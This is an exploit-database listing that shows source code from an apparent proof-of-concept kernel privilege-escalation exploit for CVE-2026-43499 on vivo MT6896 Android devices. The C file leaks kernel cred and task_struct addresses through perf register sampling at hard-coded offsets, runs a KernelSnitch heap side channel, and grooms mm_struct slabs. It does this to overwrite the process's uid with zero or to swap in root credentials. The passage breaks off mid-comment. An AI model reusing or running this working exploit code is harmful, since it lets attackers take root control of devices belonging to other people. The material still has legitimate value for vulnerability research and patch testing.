Exploit database

GH-282e253a53c16ebe50dc62429538a0d3

syerain/cve-2026-43499-vivo-mt6896

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files18

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

preload/exploit/src/util.c

C · 75,958 bytes
#include "common.h"
#include "kernelsnitch/kernelsnitch.h"
#include <linux/perf_event.h>
#include <sys/ioctl.h>

static struct kernelsnitch_shared_state *ks;
static size_t mm_objs_per_slab;
static unsigned char *skb_buf;
/* multiple independent sockets: each has its own wmem_max-capped sndbuf
 * (~16MB -> ~250 frag pages), so N sockets multiply the continuous spray
 * capacity without hitting the per-socket cap */
static int reclaim_sv[RECLAIM_SOCKETS][2];
static struct mm_ctx prepare_ctx;
static struct mm_ctx spray_ctx;
static struct mm_ctx pre_ctx;
static struct mm_ctx post_ctx;
static struct mm_ctx kick_ctx;
static struct mm_ctx flush_ctx;
static pid_t child_leak;

uintptr_t page_base;
uintptr_t fake_lock;
uintptr_t fake_w0;
uintptr_t fake_task;
uintptr_t fake_parent;
uintptr_t fake_right;
uintptr_t fake_left;
uintptr_t fake_fops;
uintptr_t binwrite_target;
uintptr_t current_write_right;

uintptr_t root_zero_targets[ROOT_ZERO_TARGETS_MAX];
int root_zero_targets_n;
int root_uid_zero;
int root_yes_written;
int mcast_host_slot_base;
uintptr_t root_w2_target;
uintptr_t root_w2_target2;
int root_w2_mode;
uintptr_t w2_task_addr;

/* ------------------------------------------------------------------ */
/* perf-based cred leak (port of GhostLock-X200 w2host technique).     */
/* Sample our own process while hammering getuid(): at the IP window   */
/* inside __arm64_sys_getuid's body where "ldr x8,[x8,#0x780]" has     */
/* executed, register x8 == current->cred. 3 rounds + intersection.    */
/* Offsets verified from kernel233.elf (5.10.233 vivo MT6896):         */
/*   0x18b560 mrs x8,SP_EL0 ; 0x18b564 ldr x8,[x8,#0x780] (x8=cred)    */
/*   0x18b568 adrp x9,<init_user_ns page> ; 0x18b56c ldr w9,[x9,#0x3b0] */
/*   0x18b570 ldr w8,[x8,#0x4] (cred->uid)                             */
/* ------------------------------------------------------------------ */

#ifndef __NR_perf_event_open
#define __NR_perf_event_open 241
#endif

#define CRED_MIN 0xffffff8000000000ULL
#define CRED_MAX 0xffffff8400000000ULL

/* geteuid/getuid helper 0x146f0c: at 0x147128 "ldr x9,[x21,#0x780]" loads
 * cred into x9 (x21 = sp_el0 = current). Window = instructions right after
 * the load, before "ldr w9,[x9,#0x4]" clobbers x9. The regs[] array with
 * mask bit8|bit9 holds [x8, x9]; the cred is regs[1]. */
static const uint64_t cred_x9_win[] = {
  0x14712cULL,
  0x147130ULL,
  0x147134ULL,
  0x147138ULL,
};
#define CRED_X9_WIN_N ((int)(sizeof(cred_x9_win) / sizeof(cred_x9_win[0])))
/* getuid-family bodies hold the cred in x8 across 0x18c550..0x18e700
 * (sampled: getuid dispatch 0x18c570, getresuid 0x18d194, geteuid 0x18e5e0). */
#define CRED_X8_LO 0x18c550ULL
#define CRED_X8_HI 0x18e700ULL
/* helper region where x21 (sp_el0) still == current task */
#define TASK_X21_LO 0x147004ULL
#define TASK_X21_HI 0x147140ULL
/* syscall-entry fastpath: "mrs x19, SP_EL0" at 0xa60xx; x19 stays ==
 * current task through the PMR/TIF blocks (0xa6000..0xa6800). */
#define TASK_X19_LO 0xa6000ULL
#define TASK_X19_HI 0xa6800ULL
/* alternate entry path: 0x18201c "mrs x8, SP_EL0" (x8 == current task) */
#define TASK_X8_LO 0x182000ULL
#define TASK_X8_HI 0x182100ULL
/* syscall dispatch: 0xa5c50 "mrs x21, SP_EL0"; x21 stays == current until
 * 0xa5c74 (only x8/x9/x10/x0/x1/x2/x22 clobbered in between). */
#define TASK_X21E_LO 0xa5c50ULL
#define TASK_X21E_HI 0xa5c74ULL

struct cl_cand {
  uint64_t addr;
  int cnt;
};
static int cl_find(struct cl_cand *cands, int n, uint64_t a);

/* sched_switch tracepoint: args (preempt, prev, next) in x0/x1/x2; prev/next
 * are task_struct pointers. Shell has readtracefs (gid 3012). */
static int cl_get_sched_switch_id(void) {
  const char *paths[] = {
      "/sys/kernel/tracing/events/sched/sched_switch/id",
      "/sys/kernel/debug/tracing/events/sched/sched_switch/id",
  };
  for (size_t p = 0; p < sizeof(paths) / sizeof(paths[0]); p++) {
    int fd = open(paths[p], O_RDONLY);
    if (fd < 0)
      continue;
    char buf[64];
    ssize_t n = read(fd, buf, sizeof(buf) - 1);
    close(fd);
    if (n > 0) {
      buf[n] = 0;
      long id = strtol(buf, NULL, 0);
      if (id > 0)
        return (int)id;
    }
  }
  return -1;
}

static int cl_collect_task_tp(uint64_t out[64]) {
  int id = cl_get_sched_switch_id();
  if (id < 0) {
    pr_info("credleak sched_switch id unavailable\n");
    return 0;
  }
  struct perf_event_attr pe;
  memset(&pe, 0, sizeof(pe));
  pe.type = PERF_TYPE_TRACEPOINT;
  pe.size = sizeof(pe);
  pe.config = (uint64_t)id;
  pe.sample_period = 1;
  pe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_REGS_INTR;
  pe.sample_regs_intr = (1ULL << 0) | (1ULL << 1) | (1ULL << 2);
  pe.disabled = 1;
  pe.exclude_hv = 1;
  int fd = (int)syscall(__NR_perf_event_open, &pe, 0, -1, -1, 0);
  if (fd < 0) {
    pr_info("credleak sched_switch perf open failed errno=%d\n", errno);
    return 0;
  }
  size_t pg = (size_t)sysconf(_SC_PAGESIZE);
  size_t dsz = pg * 256;
  void *buf = mmap(NULL, pg + dsz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
  if (buf == MAP_FAILED) {
    close(fd);
    return 0;
  }
  ioctl(fd, PERF_EVENT_IOC_RESET, 0);
  ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
  for (volatile long i = 0; i < 800000; i++) {
    syscall(__NR_getuid);
    sched_yield();
  }
  ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);
  struct perf_event_mmap_page *hdr = buf;
  uint64_t head = hdr->data_head;
  __sync_synchronize();
  char *base = (char *)buf + pg;
  uint64_t pos = hdr->data_tail;
  struct cl_cand cands[256];
  int ncand = 0;
  memset(cands, 0, sizeof(cands));
  int nsamp = 0;
  uint64_t dbg_ips[64];
  int dbg_ip_n = 0;
  int dbg_ip_cnt[64];
  memset(dbg_ips, 0, sizeof(dbg_ips));
  memset(dbg_ip_cnt, 0, sizeof(dbg_ip_cnt));
  uint64_t dbg_x12[64];
  int dbg_x12_n = 0;
  int dbg_x12_cnt[64];
  memset(dbg_x12, 0, sizeof(dbg_x12));
  memset(dbg_x12_cnt, 0, sizeof(dbg_x12_cnt));
  while (pos + 8 <= head && nsamp < 200000) {
    struct perf_event_header *ev = (void *)(base + (pos % dsz));
    if (ev->size == 0 || ev->size > 4096)
      break;
    if (ev->type == PERF_RECORD_SAMPLE) {
      nsamp++;
      char *p = (char *)ev + sizeof(*ev);
      uint64_t ip = *(uint64_t *)p;
      p += 8;
      uint64_t abi = *(uint64_t *)p;
      p += 8;
      int di = -1;
      for (int d = 0; d < dbg_ip_n; d++)
        if (dbg_ips[d] == ip) {
          di = d;
          break;
        }
      if (di < 0 && dbg_ip_n < 64) {
        di = dbg_ip_n++;
        dbg_ips[di] = ip;
      }
      if (di >= 0)
        dbg_ip_cnt[di]++;
      if (abi == 1 || abi == 2) {
        uint64_t *regs = (uint64_t *)p; /* [x0, x1, x2] */
        for (int rr = 1; rr <= 2; rr++) {
          uint64_t v = regs[rr];
          int di2 = -1;
          for (int d = 0; d < dbg_x12_n; d++)
            if (dbg_x12[d] == v) {
              di2 = d;
              break;
            }
          if (di2 < 0 && dbg_x12_n < 64) {
            di2 = dbg_x12_n++;
            dbg_x12[di2] = v;
          }
          if (di2 >= 0)
            dbg_x12_cnt[di2]++;
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(cands, ncand, v);
            if (ci >= 0)
              cands[ci].cnt++;
            else if (ncand < 256) {
              cands[ncand].addr = v;
              cands[ncand].cnt = 1;
              ncand++;
            }
          }
        }
      }
    }
    pos += ev->size;
  }
  hdr->data_tail = head;
  munmap(buf, pg + dsz);
  close(fd);
  pr_info("credleak sched_switch nsamp=%d\n", nsamp);
  for (int a = 0; a < dbg_ip_n && a < 5; a++)
    for (int b = a + 1; b < dbg_ip_n; b++)
      if (dbg_ip_cnt[b] > dbg_ip_cnt[a]) {
        int t = dbg_ip_cnt[a];
        dbg_ip_cnt[a] = dbg_ip_cnt[b];
        dbg_ip_cnt[b] = t;
        uint64_t u = dbg_ips[a];
        dbg_ips[a] = dbg_ips[b];
        dbg_ips[b] = u;
      }
  for (int a = 0; a < dbg_ip_n && a < 5; a++)
    pr_info("credleak sched ip %016llx cnt=%d\n",
            (unsigned long long)dbg_ips[a], dbg_ip_cnt[a]);
  for (int a = 0; a < dbg_x12_n && a < 6; a++)
    for (int b = a + 1; b < dbg_x12_n; b++)
      if (dbg_x12_cnt[b] > dbg_x12_cnt[a]) {
        int t = dbg_x12_cnt[a];
        dbg_x12_cnt[a] = dbg_x12_cnt[b];
        dbg_x12_cnt[b] = t;
        uint64_t u = dbg_x12[a];
        dbg_x12[a] = dbg_x12[b];
        dbg_x12[b] = u;
      }
  for (int a = 0; a < dbg_x12_n && a < 6; a++)
    pr_info("credleak sched x1/x2 %016llx cnt=%d\n",
            (unsigned long long)dbg_x12[a], dbg_x12_cnt[a]);
  int n = 0;
  for (int t = 0; t < 8 && n < 64; t++) {
    int bi = -1;
    for (int i = 0; i < ncand; i++)
      if (cands[i].cnt > 0 &&
          (bi < 0 || cands[i].cnt > cands[bi].cnt))
        bi = i;
    if (bi < 0 || cands[bi].cnt <= 1)
      break;
    out[n++] = cands[bi].addr;
    pr_info("credleak sched_switch task cand %016llx cnt=%d nsamp=%d\n",
            (unsigned long long)cands[bi].addr, cands[bi].cnt, nsamp);
    cands[bi].cnt = 0;
  }
  return n;
}

static int cl_find(struct cl_cand *cands, int n, uint64_t a) {
  for (int i = 0; i < n; i++)
    if (cands[i].addr == a)
      return i;
  return -1;
}

static int cl_collect_round(struct perf_event_attr *pe, uint64_t kbase,
                            uint64_t cred_out[64], int *cred_n,
                            uint64_t task_out[64], int *task_n) {
  int fd = (int)syscall(__NR_perf_event_open, pe, 0, 0, -1, 0);
  if (fd < 0) {
    pr_warning("credleak perf open failed errno=%d\n", errno);
    return 0;
  }
  size_t pg = (size_t)sysconf(_SC_PAGESIZE);
  size_t dsz = pg * 256;
  void *buf = mmap(NULL, pg + dsz, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
  if (buf == MAP_FAILED) {
    close(fd);
    return 0;
  }
  ioctl(fd, PERF_EVENT_IOC_RESET, 0);
  ioctl(fd, PERF_EVENT_IOC_ENABLE, 0);
  for (volatile long i = 0; i < 2000000; i++) {
    syscall(__NR_getuid);
    syscall(__NR_geteuid);
    unsigned int rv[3] = {0, 0, 0};
    syscall(__NR_getresuid, rv, rv + 1, rv + 2);
  }
  ioctl(fd, PERF_EVENT_IOC_DISABLE, 0);

  struct perf_event_mmap_page *hdr = buf;
  uint64_t head = hdr->data_head;
  __sync_synchronize();
  char *base = (char *)buf + pg;
  uint64_t pos = hdr->data_tail;
  struct cl_cand cands[512];
  int ncand = 0;
  memset(cands, 0, sizeof(cands));
  struct cl_cand tcands[512];
  int ntcand = 0;
  memset(tcands, 0, sizeof(tcands));
  uint64_t dbg_ips[128];
  int dbg_ip_n = 0;
  int dbg_ip_cnt[128];
  memset(dbg_ips, 0, sizeof(dbg_ips));
  memset(dbg_ip_cnt, 0, sizeof(dbg_ip_cnt));
  uint64_t dreg[4][96];
  uint64_t dreg_ip[4][96];
  int dreg_n[4] = {0, 0, 0, 0};
  int dreg_cnt[4][96];
  memset(dreg, 0, sizeof(dreg));
  memset(dreg_ip, 0, sizeof(dreg_ip));
  memset(dreg_cnt, 0, sizeof(dreg_cnt));
  int nsamp = 0;
  while (pos + 8 <= head && nsamp < 200000) {
    struct perf_event_header *ev = (void *)(base + (pos % dsz));
    if (ev->size == 0 || ev->size > 4096)
      break;
    if (ev->type == PERF_RECORD_SAMPLE) {
      nsamp++;
      char *p = (char *)ev + sizeof(*ev);
      uint64_t ip = *(uint64_t *)p;
      p += 8;
      uint64_t abi = *(uint64_t *)p;
      p += 8;
      if (abi == 1 || abi == 2) {
        uint64_t *regs = (uint64_t *)p;
        /* overall top-IP debug */
        {
          int di = -1;
          for (int d = 0; d < dbg_ip_n; d++)
            if (dbg_ips[d] == ip) {
              di = d;
              break;
            }
          if (di < 0 && dbg_ip_n < 128) {
            di = dbg_ip_n++;
            dbg_ips[di] = ip;
          }
          if (di >= 0)
            dbg_ip_cnt[di]++;
        }
        /* per-register candidates (x8=regs[0], x9=regs[1], x21=regs[2]) */
        uint64_t rv[4] = {regs[0], regs[1], regs[2], regs[3]};
        for (int rr = 0; rr < 4; rr++) {
          if (rv[rr] >= CRED_MIN && rv[rr] < CRED_MAX && (rv[rr] & 0xf) == 0) {
            int di = -1;
            for (int d = 0; d < dreg_n[rr]; d++)
              if (dreg[rr][d] == rv[rr]) {
                di = d;
                break;
              }
            if (di < 0 && dreg_n[rr] < 96) {
              di = dreg_n[rr]++;
              dreg[rr][di] = rv[rr];
              dreg_ip[rr][di] = ip;
            }
            if (di >= 0)
              dreg_cnt[rr][di]++;
          }
        }
        /* mask bit8|bit9|bit19|bit21 -> regs[] holds [x8, x9, x19, x21] */
        int in_x9_win = 0;
        for (int w = 0; w < CRED_X9_WIN_N; w++)
          if (ip == kbase + cred_x9_win[w]) {
            in_x9_win = 1;
            break;
          }
        if (in_x9_win || (ip >= kbase + CRED_X8_LO && ip < kbase + CRED_X8_HI)) {
          /* cred-pool: x9 at helper window, or x8 at getuid-family bodies */
          uint64_t v = regs[1]; /* x9 = cred */
          if (!in_x9_win)
            v = regs[0];       /* x8 = cred at the body sites */
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(cands, ncand, v);
            if (ci >= 0)
              cands[ci].cnt++;
            else if (ncand < 512) {
              cands[ncand].addr = v;
              cands[ncand].cnt = 1;
              ncand++;
            }
          }
        }
        /* task-pool: x19 = current in the getresuid body (hot path) */
        if (ip >= kbase + TASK_X19_LO && ip < kbase + TASK_X19_HI) {
          uint64_t v = regs[2]; /* x19 = task */
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(tcands, ntcand, v);
            if (ci >= 0)
              tcands[ci].cnt++;
            else if (ntcand < 512) {
              tcands[ntcand].addr = v;
              tcands[ntcand].cnt = 1;
              ntcand++;
            }
          }
        }
        /* task-pool: x8 = current at the alternate entry path */
        if (ip >= kbase + TASK_X8_LO && ip < kbase + TASK_X8_HI) {
          uint64_t v = regs[0]; /* x8 = task */
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(tcands, ntcand, v);
            if (ci >= 0)
              tcands[ci].cnt++;
            else if (ntcand < 512) {
              tcands[ntcand].addr = v;
              tcands[ntcand].cnt = 1;
              ntcand++;
            }
          }
        }
        /* task-pool: x21 = current in the geteuid helper body */
        if (ip >= kbase + TASK_X21_LO && ip < kbase + TASK_X21_HI) {
          uint64_t v = regs[3]; /* x21 = task */
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(tcands, ntcand, v);
            if (ci >= 0)
              tcands[ci].cnt++;
            else if (ntcand < 512) {
              tcands[ntcand].addr = v;
              tcands[ntcand].cnt = 1;
              ntcand++;
            }
          }
        }
        /* task-pool: x21 = current at the syscall dispatch (guaranteed) */
        if (ip >= kbase + TASK_X21E_LO && ip < kbase + TASK_X21E_HI) {
          uint64_t v = regs[3]; /* x21 = current */
          if (v >= CRED_MIN && v < CRED_MAX && (v & 0xf) == 0) {
            int ci = cl_find(tcands, ntcand, v);
            if (ci >= 0)
              tcands[ci].cnt++;
            else if (ntcand < 512) {
              tcands[ntcand].addr = v;
              tcands[ntcand].cnt = 1;
              ntcand++;
            }
          }
        }
      }
    }
    pos += ev->size;
  }
  hdr->data_tail = head;
  munmap(buf, pg + dsz);
  close(fd);

  for (int a = 0; a < dbg_ip_n && a < 20; a++)
    for (int b = a + 1; b < dbg_ip_n; b++)
      if (dbg_ip_cnt[b] > dbg_ip_cnt[a]) {
        int t = dbg_ip_cnt[a];
        dbg_ip_cnt[a] = dbg_ip_cnt[b];
        dbg_ip_cnt[b] = t;
        uint64_t u = dbg_ips[a];
        dbg_ips[a] = dbg_ips[b];
        dbg_ips[b] = u;
      }
  for (int a = 0; a < dbg_ip_n && a < 20; a++)
    pr_info("credleak top ip %016llx cnt=%d\n",
            (unsigned long long)dbg_ips[a], dbg_ip_cnt[a]);
  /* per-register top candidates (static arrays reset each round via n) */
  {
    const char *rn[4] = {"x8", "x9", "x19", "x21"};
    for (int rr = 0; rr < 4; rr++) {
      for (int a = 0; a < dreg_n[rr] && a < 5; a++)
        for (int b = a + 1; b < dreg_n[rr]; b++)
          if (dreg_cnt[rr][b] > dreg_cnt[rr][a]) {
            int t = dreg_cnt[rr][a];
            dreg_cnt[rr][a] = dreg_cnt[rr][b];
            dreg_cnt[rr][b] = t;
            uint64_t u = dreg[rr][a];
            dreg[rr][a] = dreg[rr][b];
            dreg[rr][b] = u;
            u = dreg_ip[rr][a];
            dreg_ip[rr][a] = dreg_ip[rr][b];
            dreg_ip[rr][b] = u;
          }
      for (int a = 0; a < dreg_n[rr] && a < 5; a++)
        pr_info("credleak %s %016llx @ip %016llx cnt=%d\n",
                rn[rr], (unsigned long long)dreg[rr][a],
                (unsigned long long)dreg_ip[rr][a], dreg_cnt[rr][a]);
      dreg_n[rr] = 0;
    }
  }

  int cn = 0;
  for (int t = 0; t < 8 && cn < 64; t++) {
    int bi = -1;
    for (int i = 0; i < ncand; i++)
      if (cands[i].cnt > 0 &&
          (bi < 0 || cands[i].cnt > cands[bi].cnt))
        bi = i;
    if (bi < 0 || cands[bi].cnt <= 1)
      break;
    cred_out[cn++] = cands[bi].addr;
    pr_info("credleak cred cand %016llx cnt=%d\n",
            (unsigned long long)cands[bi].addr, cands[bi].cnt);
    cands[bi].cnt = 0;
  }
  int tn = 0;
  for (int t = 0; t < 8 && tn < 64; t++) {
    int bi = -1;
    for (int i = 0; i < ntcand; i++)
      if (tcands[i].cnt > 0 &&
          (bi < 0 || tcands[i].cnt > tcands[bi].cnt))
        bi = i;
    if (bi < 0 || tcands[bi].cnt <= 1)
      break;
    task_out[tn++] = tcands[bi].addr;
    pr_info("credleak task cand %016llx cnt=%d\n",
            (unsigned long long)tcands[bi].addr, tcands[bi].cnt);
    tcands[bi].cnt = 0;
  }
  *cred_n = cn;
  *task_n = tn;
  return cn + tn;
}

uintptr_t leak_own_cred(uint64_t kbase, int rounds) {
  struct perf_event_attr pe;
  memset(&pe, 0, sizeof(pe));
  pe.type = PERF_TYPE_HARDWARE;
  pe.size = sizeof(pe);
  pe.config = PERF_COUNT_HW_CPU_CYCLES;
  pe.sample_period = 5000;
  pe.sample_type = PERF_SAMPLE_IP | PERF_SAMPLE_REGS_INTR;
  pe.sample_regs_intr =
      (1ULL << 8) | (1ULL << 9) | (1ULL << 19) | (1ULL << 21);
  pe.disabled = 1;
  pe.exclude_user = 1;
  pe.exclude_hv = 1;

  if (rounds < 1 || rounds > 8)
    rounds = 3;
  /* v12 (glw2early):需要同时拿到 cred 与 task(leaf-zero cred+4 +
   * S->task=真实 waiter),跳过 sched_switch 单 task 早退路径。 */
  int w2_early = env_get("glw2early", "GL_W2_EARLY") != NULL;
  /* Primary: sched_switch tracepoint task leak (guaranteed task pointers) */
  if (!w2_early) {
    uint64_t rnd[8][64];
    int rn[8] = {0};
    for (int rd = 0; rd < rounds; rd++)
      rn[rd] = cl_collect_task_tp(rnd[rd]);
    for (int a = 0; a < rn[0]; a++) {
      uint64_t v = rnd[0][a];
      int inall = 1;
      for (int rd = 1; rd < rounds; rd++) {
        int found = 0;
        for (int b = 0; b < rn[rd]; b++)
          if (rnd[rd][b] == v) {
            found = 1;
            break;
          }
        if (!found) {
          inall = 0;
          break;
        }
      }
      if (inall) {
        pr_success("credleak task=%016zx (sched_switch tracepoint)\n", v);
        root_w2_target = v + 0x780; /* cred (standard 5.10 layout) */
        root_w2_target2 = v + 0x778; /* real_cred */
        root_w2_mode = 1;
        return v;
      }
    }
  }
  uint64_t round_cred[8][64];
  int round_cn[8] = {0};
  uint64_t round_task[8][64];
  int round_tn[8] = {0};
  uintptr_t best_cred = 0;
  for (int rd = 0; rd < rounds; rd++) {
    cl_collect_round(&pe, kbase, round_cred[rd], &round_cn[rd],
                     round_task[rd], &round_tn[rd]);
    pr_info("credleak round %d cred_n=%d task_n=%d\n",
            rd, round_cn[rd], round_tn[rd]);
  }
  if (w2_early) {
    /* v12(方向 1,见 branching/2026-08-27-w2-slab-dead-direction1-ret0-
     * acquire.md):leaf-zero 写 [cred+4]=0(uid=0)+ S->task=真实 waiter
     * task(owner 提前 UNLOCK 后唤醒 WRPI waiter 正常获取锁 ret=0)。 */
    uintptr_t tcred = 0;
    uintptr_t tt = 0;
    for (int a = 0; a < round_cn[0]; a++) {
      uint64_t v = round_cred[0][a];
      int inall = 1;
      for (int rd = 1; rd < rounds; rd++) {
        int found = 0;
        for (int b = 0; b < round_cn[rd]; b++)
          if (round_cred[rd][b] == v) {
            found = 1;
            break;
          }
        if (!found) {
          inall = 0;
          break;
        }
      }
      if (inall) {
        tcred = v;
        break;
      }
    }
    for (int a = 0; a < round_tn[0]; a++) {
      uint64_t v = round_task[0][a];
      int inall = 1;
      for (int rd = 1; rd < rounds; rd++) {
        int found = 0;
        for (int b = 0; b < round_tn[rd]; b++)
          if (round_task[rd][b] == v) {
            found = 1;
            break;
          }
        if (!found) {
          inall = 0;
          break;
        }
      }
      if (inall) {
        tt = v;
        break;
      }
    }
    if (tcred && tt) {
      root_zero_targets[0] = tcred + 0x04; /* uid+gid(leaf-zero 8B 零写) */
      root_zero_targets_n = 1;
      root_w2_mode = 0;
      w2_task_addr = tt;
      pr_success("credleak early cred=%016zx task=%016zx (glw2early)\n",
                 tcred, tt);
      return tcred;
    }
    pr_warning("credleak early incomplete cred=%016zx task=%016zx\n",
               tcred, tt);
  }
  if (env_get("glw2cred", "GL_W2_CRED")) {
    /* leaf-zero 单发:写自身 cred+4(uid+gid)=0,不碰 INIT_CRED/指针交换
     * (避免 cred=init_cred 的 teardown 挂起)。判定放松为 getuid()==0。 */
    for (int a = 0; a < round_cn[0]; a++) {
      uint64_t v = round_cred[0][a];
      int inall = 1;
      for (int rd = 1; rd < rounds; rd++) {
        int found = 0;
        for (int b = 0; b < round_cn[rd]; b++)
          if (round_cred[rd][b] == v) {
            found = 1;
            break;
          }
        if (!found) {
          inall = 0;
          break;
        }
      }
      if (inall) {
        pr_success("credleak cred=%016zx (W2 cred leaf-zero, glw2cred)\n", v);
        /* v12.2 字段隔离:glw2credofs=<hex> 改叶零写目标(如 0x24 非身份
         * 字段),判定"slab 写本身" vs "uid=0 副作用"触发楔死。 */
        uintptr_t cred_off = 0x04; /* uid+gid(默认) */
        const char *cofs_env = env_get("glw2credofs", "GL_W2_CRED_OFS");
        if (cofs_env && *cofs_env) {
          char *cofs_end = NULL;
          unsigned long cofs = strtoul(cofs_env, &cofs_end, 16);
          if (cofs_end && cofs_end != cofs_env && cofs < 0x100) {
            cred_off = cofs;
          }
        }
        root_zero_targets[0] = v + cred_off; /* 8B 零写 */
        root_zero_targets_n = 1;
        root_w2_mode = 0;
        pr_info("glw2cred leaf-zero target=cred+0x%zx\n", cred_off);
        return v;
      }
    }
  }
  if (env_get("glw2leak", "GL_W2_LEAK")) {
    /* 单发 W2:优先返回 task 候选(x19/x21,三轮交集),w2 目标 task+0x780/
     * 0x778(镜像反汇编实证,见 util.c 注释)。 */
    for (int a = 0; a < round_tn[0]; a++) {
      uint64_t v = round_task[0][a];
      int inall = 1;
      for (int rd = 1; rd < rounds; rd++) {
        int found = 0;
        for (int b = 0; b < round_tn[rd]; b++)
          if (round_task[rd][b] == v) {
            found = 1;
            break;
          }
        if (!found) {
          inall = 0;
          break;
        }
      }
      if (inall) {
        pr_success("credleak task=%016zx (W2 single, glw2leak)\n", v);
        root_w2_target = v + 0x780;  /* cred(镜像实证) */
        root_w2_target2 = v + 0x778; /* real_cred */
        root_w2_mode = 1;
        return v;
      }
    }
  }
  for (int a = 0; a < round_cn[0]; a++) {
    uint64_t v = round_cred[0][a];
    int inall = 1;
    for (int rd = 1; rd < rounds; rd++) {
      int found = 0;
      for (int b = 0; b < round_cn[rd]; b++)
        if (round_cred[rd][b] == v) {
          found = 1;
          break;
        }
      if (!found) {
        inall = 0;
        break;
      }
    }
    if (inall) {
      if (!best_cred) {
        best_cred = v;
        pr_success("credleak cred=%016zx\n", v);
      }
    }
  }
  if (best_cred)
    return best_cred;
  /* no cred window samples: fall back to the task (x21 in the helper) */
  for (int a = 0; a < round_tn[0]; a++) {
    uint64_t v = round_task[0][a];
    int inall = 1;
    for (int rd = 1; rd < rounds; rd++) {
      int found = 0;
      for (int b = 0; b < round_tn[rd]; b++)
        if (round_task[rd][b] == v) {
          found = 1;
          break;
        }
      if (!found) {
        inall = 0;
        break;
      }
    }
    if (inall) {
      pr_success("credleak task=%016zx (W2 init_cred pivot)\n", v);
      /* 2026-08-27 镜像反汇编实证(image_elf2.o @ __arm64_sys_getuid):
       *   mrs x8, SP_EL0; ldr x8, [x8, #0x780]; ldr w8, [x8, #4]
       * 真机 task->cred = task+0x780、cred->uid = +4,与 target.h 一致,
       * 无 RANDSTRUCT 差异。旧注释的 0x7d8/0x7d0 是误判,已修正。 */
      root_w2_target = v + 0x780;
      root_w2_target2 = v + 0x778;
      root_w2_mode = 1;
      return v;
    }
  }
  pr_warning("credleak failed (perf REGS_INTR unsupported?)\n");
  return 0;
}
char ashmem_path[256] = "/dev/ashmem";

void setup_kernelsnitch(void) {
  int cpu_count = (int)sysconf(_SC_NPROCESSORS_ONLN);
  /* Runtime diagnostic switch: KSNITCH_VERBOSE=1 prints KernelSnitch
   * parameters, collision candidates and brute-force progress.  Kept 0 by
   * default so normal real-device runs stay quiet. */
  int ks_verbose = 0;
  const char *ks_verbose_env = getenv("KSNITCH_VERBOSE");
  if (ks_verbose_env) {
    char *end = NULL;
    long v = strtol(ks_verbose_env, &end, 0);
    if (end && end != ks_verbose_env && v >= 1 && v <= 3)
      ks_verbose = (int)v;
  }
  ks = kernelsnitch_setup(
      MM_STRUCT_SZ, MM_ORDER, cpu_count, KSNITCH_COLLISIONS, ks_verbose,
      KERNELSNITCH_MTE_ENABLED);
}

int kernelsnitch_collisions_ready(void) {
  return kernelsnitch_found_collisions(ks);
}

void run_kernelsnitch_bruteforce(void) {
  kernelsnitch_bruteforce(ks);
}

uintptr_t current_kernelsnitch_mm_struct(void) {
  return ks->mm_struct;
}

/* Read /proc/slabinfo (shell readable) and print the mm_struct cache line.
 * Lets us verify that the emptied slab page is actually discarded back to
 * the buddy allocator (num_slabs drops) before the skb frag spray. */
void report_mm_slabinfo(const char *tag) {
  FILE *f = fopen("/proc/slabinfo", "r");
  if (!f) {
    pr_info("mm slabinfo %s: open failed errno=%d\n", tag, errno);
    return;
  }
  char line[512];
  (void)fgets(line, sizeof(line), f); /* header: slabinfo - version */
  (void)fgets(line, sizeof(line), f); /* header: # name ... */
  while (fgets(line, sizeof(line), f)) {
    if (strncmp(line, "mm_struct ", 10) == 0) {
      char name[64];
      unsigned long active_objs, num_objs, objsize;
      int objperslab, pagesperslab;
      unsigned long active_slabs, num_slabs;
      if (sscanf(line, "%63s %lu %lu %lu %d %d : tunables %*d %*d %*d : "
                       "slabdata %lu %lu",
                 name, &active_objs, &num_objs, &objsize, &objperslab,
                 &pagesperslab, &active_slabs, &num_slabs) >= 8) {
        pr_info("mm slabinfo %s: active_objs=%lu num_objs=%lu "
                "objperslab=%d pagesperslab=%d active_slabs=%lu num_slabs=%lu\n",
                tag, active_objs, num_objs, objperslab, pagesperslab,
                active_slabs, num_slabs);
      } else {
        pr_info("mm slabinfo %s: raw=%s", tag, line);
      }
      break;
    }
  }
  fclose(f);
}

/* Dynamic pool sizing: read /proc/slabinfo and return how many mm_struct
 * slabs are needed to cover the whole cache (num_objs), plus headroom.  With
 * the prepare pool >= the live cache, the leak/measurement child's mm is
 * allocated from OUR slabs (foreign frees get consumed by the earlier pool
 * forks), so its slab neighbours are all pool children that the kill burst
 * frees.  Returns 0 if slabinfo is unreadable. */
static size_t read_mm_cache_cover_slabs(void) {
  FILE *f = fopen("/proc/slabinfo", "r");
  if (!f) {
    return 0;
  }
  char line[512];
  (void)fgets(line, sizeof(line), f);
  (void)fgets(line, sizeof(line), f);
  while (fgets(line, sizeof(line), f)) {
    if (strncmp(line, "mm_struct ", 10) == 0) {
      char name[64];
      unsigned long active_objs, num_objs, objsize;
      int objperslab, pagesperslab;
      unsigned long active_slabs, num_slabs;
      if (sscanf(line, "%63s %lu %lu %lu %d %d : tunables %*d %*d %*d : "
                       "slabdata %lu %lu",
                 name, &active_objs, &num_objs, &objsize, &objperslab,
                 &pagesperslab, &active_slabs, &num_slabs) >= 8 &&
          objperslab > 0) {
        size_t slabs =
            (num_objs + (unsigned long)objperslab - 1) / objperslab + 2;
        fclose(f);
        pr_info("mm slabinfo dynamic: num_objs=%lu objperslab=%d cover=%zu\n",
                num_objs, objperslab, slabs);
        return slabs;
      }
      break;
    }
  }
  fclose(f);
  return 0;
}

/* Print the free order-3 page count from /proc/buddyinfo, so we can see
